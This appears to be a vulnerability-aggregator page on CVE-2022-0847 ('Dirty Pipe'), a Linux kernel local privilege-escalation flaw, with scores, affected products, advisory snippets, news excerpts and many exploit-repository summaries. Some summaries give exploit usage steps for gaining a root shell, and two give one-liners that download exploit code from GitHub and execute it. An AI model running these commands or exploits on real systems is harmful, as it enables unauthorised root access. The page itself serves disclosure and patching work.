7.8
CVSSv3

CVE-2022-0847

Published: 10/03/2022 Updated: 04/04/2022
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
CVSS v3 Base Score: 7.8 | Impact Score: 5.9 | Exploitability Score: 1.8
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

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linux linux kernel

fedoraproject fedora 35

redhat enterprise linux 8.0

redhat enterprise linux eus 8.2

redhat enterprise linux eus 8.4

redhat enterprise linux for ibm z systems 8.0

redhat enterprise linux for ibm z systems eus 8.2

redhat enterprise linux for ibm z systems eus 8.4

redhat enterprise linux for power little endian 8.0

redhat enterprise linux for power little endian eus 8.2

redhat enterprise linux for power little endian eus 8.4

redhat enterprise linux for real time 8

redhat enterprise linux for real time for nfv 8

redhat enterprise linux for real time for nfv tus 8.2

redhat enterprise linux for real time for nfv tus 8.4

redhat enterprise linux for real time tus 8.2

redhat enterprise linux for real time tus 8.4

redhat enterprise linux server aus 8.2

redhat enterprise linux server aus 8.4

redhat enterprise linux server for power little endian update services for sap solutions 8.1

redhat enterprise linux server for power little endian update services for sap solutions 8.2

redhat enterprise linux server for power little endian update services for sap solutions 8.4

redhat enterprise linux server tus 8.2

redhat enterprise linux server tus 8.4

redhat enterprise linux server update services for sap solutions 8.1

redhat enterprise linux server update services for sap solutions 8.2

redhat enterprise linux server update services for sap solutions 8.4

redhat codeready_linux_builder -

redhat virtualization_host 4.0

ovirt ovirt-engine 4.4.10.2

Vendor Advisories

Synopsis Important: kernel security update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel is now available for Red Hat Enterprise Linux 84 Extended Update SupportRed Hat Product Security has rated ...
Synopsis Important: kernel-rt security update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel-rt is now available for Red Hat Enterprise Linux 84 Extended Update SupportRed Hat Product Security has ...
Synopsis Important: kernel-rt security and bug fix update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel-rt is now available for Red Hat Enterprise Linux 8Red Hat Product Security has rated this upd ...
A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate ...
Synopsis Important: kernel security, bug fix, and enhancement update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel is now available for Red Hat Enterprise Linux 82 Extended Update SupportRed Hat P ...
Synopsis Important: kernel-rt security and bug fix update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel-rt is now available for Red Hat Enterprise Linux 82 Extended Update SupportRed Hat Product S ...
A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate ...
Several security issues were fixed in the Linux kernel ...
Synopsis Important: kernel security, bug fix, and enhancement update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel is now available for Red Hat Enterprise Linux 8Red Hat Product Security has rated ...
Synopsis Important: Red Hat Virtualization Host security and bug fix update [ovirt-4410] Async #1 Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for redhat-release-virtualization-host and redhat-virtualizatio ...
Synopsis Important: kernel security update Type/Severity Security Advisory: Important Red Hat Insights patch analysis Identify and remediate systems affected by this advisory View affected systems Topic An update for kernel is now available for Red Hat Enterprise Linux 81 Update Services for SAP SolutionsRed Hat Product Security ...
Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks CVE-2021-43976 Zekun Shen and Brendan Dolan-Gavitt discovered a flaw in the mwifiex_usb_recv() function of the Marvell WiFi-Ex USB Driver An attacker able to connect a crafted USB device can ...
Amazon Linux has been made aware of a potential Branch Target Injection (BTI) issue (sometimes referred to as Spectre variant 2) This is a known cross-domain transient execution attack where a third party may seek to cause a disclosure gadget to be speculatively executed after an indirect branch prediction Generally, actors who attempt transient ...
Amazon Linux has been made aware of a potential Branch Target Injection (BTI) issue (sometimes referred to as Spectre variant 2) This is a known cross-domain transient execution attack where a third party may seek to cause a disclosure gadget to be speculatively executed after an indirect branch prediction Generally, actors who attempt transient ...

Mailing Lists

This Metasploit module exploits a vulnerability that has been in the Linux kernel since version 58 It allows writing of read only or immutable memory The vulnerability was fixed in Linux 51611, 51525 and 510102 The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original ...
Proof of concept for a vulnerability in the Linux kernel existing since version 58 that allows overwriting data in arbitrary read-only files This leads to privilege escalation because unprivileged processes can inject code into root processes ...
Variant proof of concept exploit for the Dirty Pipe file overwrite vulnerability This version hijacks a SUID binary to spawn a root shell ...

Github Repositories

Research-Dirty-Pipe CVE 2022-0847 (Dirty Pipe) Video: wwwyoutubecom/watch?v=af0PGYaqIWA What is it? Dirty Pipe vulnerability is a Linux kernel vulnerability that allows the ability of non-privileged users to overwrite read-only files The vulnerability is due to an uninitialized “pipe_bufferflags” variable, which overwrites any file contents in the page c

Dirty-Pipe-CVE-2022-0847 CVE-2022-0847 (Dirty Pipe) is an arbitrary file overwrite vulnerability that allows escalation of privileges by modifying or overwriting arbitrary read-only files eg /etc/passwd, /etc/shadow Steps Compile using gcc cve-2022-0847-exploitc -o cve-2022-0847-exploit Run the exploit /cve-2022-0847-exploit Disclaimer I do not claim any credit for the d

cve_2022_0847_shellcode Description This repository contains a Python script (gen_shellcodepy), based on pwntools, to generate a shellcode implementing CVE-2022-0847 The shellcode is based on this Poc: I analyzed the code of the PoC and its execution with strace to catch all the system calls required to make the exploit, and at first I wrote a C program that uses syscall

script 存放个人编写的小脚本、小工具。 2022/03/08 dirtypipezc Linux 本地权限提升漏洞 CVE-2022-0847 rogue_mysql_serverpy 是搭建mysql蜜罐+windows10蓝屏路径相互配合的,也可以修改成读取攻击者任意文件。 eth_monitorpy 用py写的gui界面。实时查询当前ETH价格。通过pyinstall 编译成elf或者exe文件。 msfh

CVE-2022-0847 Vulnerability in the Linux kernel since 58 To compile: gcc pocc -o poc Usage: /poc TARGETFILE OFFSET DATA Author and more info: dirtypipecm4allcom/

CVE-2022-0847 CVE-2022-0847

CVE-2022-0847 This is the story of CVE-2022-0847, a vulnerability in the Linux kernel since 58 which allows overwriting data in arbitrary read-only files This leads to privilege escalation because unprivileged processes can inject code into root processes

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" dirtypipecm4allcom/ Usage Check current kernel version /dpipesh Check specific kernel version /dpipesh 51011

Dirty Pipe - CVE-2022-0847 This is simply the code and instructions for how to use Max Kellermann's exploit for CVE-2022-0847 (known as Dirty Pipe) Please go to dirtypipecm4allcom/ to read more about how to exploit works! How to use Download and compile the exploit binary git clone githubcom/0xIronGoat/dirty-pipegit cd dirty-pipe gcc exploitc -o exp

CVE-2022-0847_DirtyPipeExploit A “Dirty Pipe” vulnerability with CVE-2022-0847 and a CVSS score of 78 has been identified, affecting Linux Kernel 58 and higher The vulnerability allows attackers to overwrite data in read-only files Threat actors can exploit this vulnerability to privilege themselves with code injection

CVE-2022-0847-DirtyPipe-Exploit What is this This is Max Kellermann's proof of concept for Dirty Pipe, but modified to overwrite root's password field in /etc/passwd and restore after popping a root shell Side Note: I do not claim any credit for finding this vulnerability or writing the proof of concept This exploit is merely a small modification of Kellermann'

CVE-2022-0847 CVE-2022-0847简单复现 披露老哥原文地址:dirtypipecm4allcom/ 复现环境 Linux kali 5100-kali7-amd64 #1 SMP Debian 51028-1kali1 (2021-04-12) x86_64 GNU/Linux 依赖 gcc 使用步骤 git clone githubcom/imfiver/CVE-2022-0847git cd CVE-2022-0847 chmod +

CVE-2022-0847 Linux Kernel Local Privilege Escalation Vulnerability CVE-2022-0847

CVE_2022_0847 CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability

ioc-bench ioc-bench simulates a number of popular indicators of compromise from the MITRE ATT&CK framework, biasing toward those seen in more recent attacks How many of these simulations does your intrusion detection configuration detect? Screenshots Interactive selection screen Spacebar toggles, Enter commits Execution screen: Requirements A UNIX-like operating

CVE-2022-0847 POC 来源:wwwexploit-dbcom/exploits/50808 编译 在linux中 gcc -o dirty dirtyc编译POC程序 使用 /dirty SUID执行程序。其中,SUID是指具有SUID的程序的路径 一般可以用 /usr/bin/passwd,也就是执行/dirty /usr/bin/passwd 可以获取root的shell

pwncat_dirtypipe pwncat module that automatically exploits CVE-2022-0847 (dirtypipe) Introduction The purpose of this module is to attempt to exploit CVE-2022-0847 (dirtypipe) on a target when using pwncat There is no need to setup any directories, compile any source or even have gcc on the remote target; the dirtypipe module takes care of this automatically using the pwncat f

CVE-2022-0847 PoC Usage dirty-pipe CVE-2022-0847 USAGE: dirty-pipe --target <FILE> --offset <OFFSET> --data <DATA> OPTIONS: -t, --target <FILE> TargetFile -o, --offset <OFFSET> Offset -d, --data <DATA> Data -h, --help Print help information

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" dirtypipecm4allcom/ Usage Check current kernel version /dpipesh Check specific kernel version /dpipesh 51011

DirtyPipe for Android Dirty Pipe (CVE-2022-0847) temporary root PoC for Android Targets Currently only run on Pixel 6 with security patch level 2022-02-05 Don't use on other devices or other versions It must crash (reboot) How to use Download binary from release page Setup adb (android platform tools) Launch runbat (For Windows) or runsh (For Linux/Mac) If you ge

IOhubOS Dirty Pipe vulnerability update Release 113 is a maintenance release, bringing a kernel upgrade, to address the kernel vulnerability CVE-2022-0847, know as dirty pipe Introduction IOhubOS is a Linux-based distro designed for Industrial and IIoT environments, ready to run Docker-based applications Its main usages are: data collection charting applications orchest

CVE-2022-0847 / Dirty Pipe Hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn a root shell (and attempts to restore the damaged binary as well) Score CVSS : 78 HIGH A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux

A vulnerability was found in Linux Kernel up to 510101/51524/51610 (Operating System) and classified as critical This issue affects some unknown processing of the component Pipe Handler Impacted is confidentiality, integrity, and availability The weakness was presented 03/08/2022 The advisory is shared at dirtypipecm4allcom The identification of this vulnerability

#cve-2022-0847dirtypipe-exploit

CVE-2022-0847 CVE-2022-0847 POC and Docker and Analysis write up

CVE-2022-0847 CREDITS: vulnerability author: Max Kellermann <maxkellermann@ionoscom> max kellermann explanation: dirtypipecm4allcom/ RESOURCES: PAGE CACHE: manybutfinitecom/post/page-cache-the-affair-between-memory-and-files/ PIPE: githubcom/angrave/SystemProgramming/wiki/Pipes

CVE-2022-0847-DirtyPipe-Exploits A collection of exploits and documentation that can be used to exploit the Linux Dirty Pipe vulnerability

dirtypipe (CVE-2022-0847) References: ArsTechnica article Max Kellermann's article and PoC Public exploit Objective Build a static exploit that can be run on any Linux server How to build /buildsh How to use Once uploaded on the target system: source payloadsh If uploaded on a webserver: so

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-dirty-pipe-kernel-checker Python script to check if your kernel is vulnerable to Dirty pipe CVE-2022-0847

CVE-2022-0847_DirtyPipe_Exploits A collection of exploits and documentation that can be used to exploit the Linux Dirty Pipe vulnerability CVE-2022-0847-DirtyPipe-Exploits A collection of exploits and documentation for penetration testers and red teamers that can be used to aid the exploitation of the Linux Dirty Pipe vulnerability About The Vulnerability Dirty Pipe (CVE-20

Dirty Pipe Vulnerability Executive summary CVE-2022-0847, also known as the Dirty Pipe Vulnerability, affects the Linux Kernel and allows read-only files to be overwritten by users that normally do not have that permission1 This vulnerability is catastrophic /etc/passwd is a read-only file that contains usernames and hashed passwords 2 An unprivileged user with the power to

DirtyPipe-CVE-2022-0847 This repository is developed to analysis and understand DirtyPipe exploit CVE-2022-0847 for my 3rd year 1st year secure software system assignment Paper I wrote

POC Exploit to add user to Sudo for CVE-2022-0847 Dirty Pipe Vulnerability This repo is based of the Vulnerability, Writeup and Exploit produced by Max Kellermann all found here Just like everyone I had to take advantage of playing with the worlds most trivial to repro Priv Esc the blog post does a great job of explaining it all I translated the exploit into python simply to

CVE-2022-0847 使用 gcc exploitcpp -o exploit /exploit它会弹出一个root shell 漏洞说明 这是 CVE-2022-0847,它是自 58 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。 使用CVE-2022-0847清除根密码 该漏洞已经在 Linux 51611、51

Popular Repositories traitor Automatic Linux privesc via exploitation of low-hanging fruit eg gtfobins, pwnkit, dirty pipe, +w dockersock4630 darktile Darktile is a GPU rendered terminal emulator designed for tiling window managers 2693 gitjacker Leak git repositories from misconfigured websites1374 tml A tiny markup language for terminal output Makes formatting outp

CVE-2022-0847 dirtypipe

zsxq Hacking自动化就是好玩的星球相关,星球介绍: mpweixinqqcom/s?__biz=MzU2NzcwNTY3Mg==&mid=2247484177&idx=1&sn=e394fc7db94d90fd64b2402ba54a4731&chksm=fc986a36cbefe3202b37f8943b11b98176b14d0f2c139857b5510c2ac49acf2e462d06629799&token=338286590&lang=zh_CN#rd 很多黑客和安全工具的构造是那么

About: Title: DirtyPipe Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges AUTHOR: drapl0n Version: 10 Category: Execution Target: Linux operating systems Attackmodes: HID, Storage DirtyPipe: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows l

Linux Privilege Escalation Bash script to check and exploit the CVE-2022-0847 "Dirty Pipe" vulnerability About this Proof of Concept This script allows an unprivileged user on a vulnerable system to do the following: Modify/overwrite read-only files like /etc/passwd Obtain an elevated shell Usage Check if the current target system is vulnerable /checksh

cve-2022-0847dirtypipe-exploit

Simple Ddocker implemented test for CVE-2022-0847 Docker build -f Dockerfile$DISTRIBUTION -t exploit:$DISTRIBUTION Replace The base image as needed

CVE-2022-0847 DirtyPipe Exploit Credit: Max Kellermann maxkellermann@ionoscom A new Linux vulnerability known as 'Dirty Pipe' allows local users to gain root privileges through publicly available exploits Today, security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe' vulnerability and stated that it affects Linux Kernel 58 and later ve

CVE-2022-0847-dirty-pipe-exploit An exploit for CVE-2022-0847 dirty-pipe vulnerability

CVE-2022-0847-DirtyPipe-Exploits A collection of exploits and documentation for penetration testers and red teamers that can be used to aid the exploitation of the Linux Dirty Pipe vulnerability About The Vulnerability Dirty Pipe (CVE-2022-0847) is a local privilege escalation vulnerability in the Linux kernel that could potentially allow an unprivileged user to do the follow

CVE-2022-0847 Hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn a root shell (and attempts to restore the damaged binary as well) Author: Max Kellermann maxkellermann@ionoscom A new Linux vulnerability known as 'Dirty Pipe' allows local users to gain root privileges through publicly available exploits Today, security researcher Max Kelle

Information Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847) Date: 03/07/2022 Exploit Author: Max Kellermann <maxkellermann@ionoscom> Tested on: ubuntu 20041 LTS Affect product:Linux kernel 58 or later Fixed Product:Linux kernel 51611, 51525, 510102 CVE ID: CVE-2022-0847 How to Exploit Test

Dirty-pipe CVE-2022-0847 Arbitrary File Overwrite Vulnerability in Linux Kernel Local Priviliege escaltion POC Source : dirtypipecm4allcom/ Oneliner for root : curl rawgithubusercontentcom/akecha/Dirty-pipe/main/pocpy | python3

dirtypipetester Dirty Pipe (CVE-2022-0847) zafiyeti kontrolü -Test ettiğiniz sistemin zafiyet durumunu sorgulamak için direkt olarak çalıştırınız -Diğer kernel versiyonlarının zafiyet durum sorgusu için sona xxxxxx şeklinde ekleyerek çalıştırınız

CVE-2022-0847-DirtyPipe-

CVE-2022-0847

Linux Privilege Escalation Bash script to check and exploit the CVE-2022-0847 Linux "Dirty Pipe" vulnerability About this Proof of Concept This script allows an unprivileged user on a vulnerable system to do the following: Modify/overwrite read-only files like /etc/passwd Obtain an elevated shell This repo contains 2 exploits: Exploit 1: Replaces the root password

exploitations Various documentation on known exploit methodologies 0x434bdev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/

CVE-2022-0847 CVE-2022-0847简单复现 依赖 gcc 使用步骤 chmod +x Dirty-Pipesh bash Dirty-Pipesh

CVE-2022-0847 参考:Dirty Pipe漏洞介绍 PoC 1查看内核 uname -r 2编译并执行 gcc pocc

CVE-2022-0847 The Dirty Pipe Vulnerability For educational purposes only ┌──(vagrant㉿kali)-[~] └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──(vagrant㉿kali)-[~] └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──(vagrant㉿kali)-[~] └─$ echo foo > /etc/passwd zsh: permission denied: /etc/pas

Dirtypipe-exploit Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn a root shell (and attempts to restore the damaged binary as well)

pentestblog-CVE-2022-0847

Oneline Exploit CVE-2022-0847 {curl,-s,-k,rawgithubusercontentcom/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe};{chmod,+x,/tmp/exploit-dirty-pipe};/tmp/exploit-dirty-pipe

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" dirtypipecm4allcom/ Usage Check current kernel version /dpipesh Check specific kernel version /dpipesh 51011

CVE-2022-0847 DirtyPipe Exploit Credit: Max Kellermann maxkellermann@ionoscom A new Linux vulnerability known as 'Dirty Pipe' allows local users to gain root privileges through publicly available exploits Today, security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe' vulnerability and stated that it affects Linux Kernel 58 and later ve

Dirty Pipe OTW (On the way) This is a version of the exploit that will redirect you directly to the shell Just compile it, run and you are in ;D The original code was written by Max Kellermann maxkellermann@ionoscom for the CVE-2022-0847 Read the ARTICLEmd file for more details

Dirty Pipe automatic root exploit (CVE-2022-0847) Dependencies: Python 310 or above How to use: Automatic root: $ python310 dirtyPipepy -a [+] hjacking super user in /etc/passwd [+] dropipng shell # Write a no write permission, immutable or read-only mounted file: $ python310 dirtyPipepy -e FILE OFFSET DATA

CVE-2022-0847 Linux “Dirty Pipe” vulnerability gives unprivileged users root access

安全申明 本博客主要用于学习记录相关安全事件和漏洞文章,供大家学习交流和测试使用。由于传播、利用该博客文章提供的信息或者工具而造成任何直接或间接的后果及损害,均由使用本人负责,文章作者不为此承担任何责任。 漏洞描述 ​ CVE-2022-0847是自 58 以来Linux内核中的一个漏

CVE-2022-0847 Description POC for CVE-2022-0847: Linux Kernel Local Privilege Escalation Vulnerability create by antx at 2022-03-08 Detail Security researcher Max Kellermann responsibly disclosed the ‘Dirty Pipe’ vulnerability and stated that it affects Linux Kernel 58 and later versions, even on Android devices A vulnerability in the Linux kernel s

Linux Privilege Escalation Cheatsheet This cheatsheet is aimed at the OSCP aspirants to help them understand the various methods of Escalating Privilege on Linux based Machines and CTFs with examples There are multiple ways to perform the same tasks We have performed and compiled this list based on our experience Please share this with your connections and direct queries and

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents Batchfile C C# C++ CSS Go HCL HTML Hack Java JavaScript Jinja Jupyter Notebook Kotlin Lua Objective-C Others PHP Pascal Perl PowerShell Pug Python Ruby Rust SCSS Scheme Shell Swift Tcl TypeScript XSLT Batchfile frizb/Windows-Privilege-Escalation - Windows Privilege Escalation Techniques and Sc

CVE-2022-0847 Description POC for CVE-2022-0847: Linux Kernel Local Privilege Escalation Vulnerability create by antx at 2022-03-08 Detail Security researcher Max Kellermann responsibly disclosed the ‘Dirty Pipe’ vulnerability and stated that it affects Linux Kernel 58 and later versions, even on Android devices A vulnerability in the Linux kernel s

LINPWN COLLECTION Collection of useful Linux privilege escalation exploits in 2022, which worked like a charm during pentest engagements PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems It provides an organized wa

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents api awesome aws bash c chrome cli cpp csharp database docker documentation electron go google hacktoberfest html http ios java javascript jekyll latex linux lua machine-learning macos markdown material-design mysql nodejs others p2p package-manager python python3 ruby rust security server shell

Dirty Pipe Container Escape Write-up: Using the Dirty Pipe Vulnerability to Break Out from Containers This repository contains a proof of concept exploit leveraging the Dirty Pipe vulnerability (CVE-2022-0847) to break out from an underprivileged container Tested on a Kernel 5100-0 with runc 102 on Kubernetes 1227, but should work on any vulnerable kernel See also: The

中文 | EN Introduce This script is used to detect Docker container escape methods, The following methods are currently supported: Privileged Mode Mount Docker Socket Mount Procfs Mount Root Directory Open Docker Remote API CVE-2016-5195 DirtyCow CVE-2020-14386 CVE-2022-0847 DirtyPipe Usage Run this script with one command in the container wget rawgithubusercontent

Awesome Stars A curated list of my GitHub stars! Generated by stargazed Contents Batchfile (1) C (12) C# (5) C++ (5) CSS (3) Go (21) HCL (1) HTML (7) Hack (1) Java (8) JavaScript (9) Jinja (1) Jupyter Notebook (1) Kotlin (1) Lua (1) Objective-C (2) Others (19) PHP (2) Pascal (1) Perl (3) PowerShell (18) Pug (1) Python (68) Ruby (6) Rust (3) SCSS (1) Scheme (1) Shell (17)

pipe-primitive An exploit primitive in linux kernel inspired by DirtyPipe (CVE-2022-0847) 前些日子,我像众多安全前辈那样对DirtyPipe(CVE-2022-0847)漏洞进行了学习和复现,深深感觉到这个洞的好用,这个洞始于一处内存的未初始化问题,终于对任意文件的修改,且中途不涉及KASLR的leak以及ROP、JOP等操作。

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CVE-2022-0847 aka Dirty Pipe vulnerability in Linux kernel
Securelist • AMR • 14 Mar 2022

Last week, security researcher Max Kellermann discovered a high severity vulnerability in the Linux kernel, which was assigned the designation CVE-2022-0847. It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102, and can be used for local privilege escalation. The vulnerability resides in the pipe tool, which is used for unidirectional communication between processes, so the researcher called it “Dirty P...

Bug in the Linux Kernel Allows Privilege Escalation, Container Escape
Threatpost • Nate Nelson • 08 Mar 2022

To go along with the “Dirty Pipe” Linux security bug coming to light, two researchers from Huawei – Yiqi Sun and Kevin Wang – have discovered a vulnerability in the “control groups” feature of the Linux kernel which allows attackers to escape containers, escalate privileges and execute arbitrary commands on a host machine.
The bug (CVE-2022-0492) exists in the Linux kernel’s “cgroup_release_agent_write” feature, which is found in the “kernel/cgroup/cgroup-v1.c” functi...

New Linux bug gives root on all major distros, exploit released
BleepingComputer • Lawrence Abrams • 07 Mar 2022

A new Linux vulnerability known as 'Dirty Pipe' allows local users to gain root privileges through publicly available exploits.
Today, security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe' vulnerability and stated that it affects Linux Kernel 5.8 and later versions, even on Android devices.
The vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root.
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Linux distros patch 'DirtyPipe' make-me-root kernel bug
The Register • Iain Thomson in San Francisco • 01 Jan 1970

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In brief A Linux local privilege escalation flaw dubbed Dirty Pipe has been discovered and disclosed along with proof-of-concept exploit code.
The flaw, CVE-2022-0847, was introduced in kernel version 5.8 and fixed in versions 5.16.11, 5.15.25 and 5.10.102.
It can be exploited by a normal logged-in user or a rogue running program to gain root-level privileges; it can also be used by malicious apps to take over vulnerable Android devices. Max Kellermann said he found the programming b...

Microsoft patches critical remote-code-exec hole in Exchange Server and others
The Register • Jessica Lyons Hardcastle • 01 Jan 1970

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Patch Tuesday Microsoft has addressed 71 security flaws, including three critical remote code execution vulnerabilities, in its monthly Patch Tuesday update. The IT giant is confident none of the bugs have been actively exploited. 
One of those critical RCEs is in Microsoft Exchange Server, and labeled CVE-2022-23277. It can be exploited by an authenticated user to "trigger malicious code in the context of the server's account through a network call," said Redmond.
Yes, an ...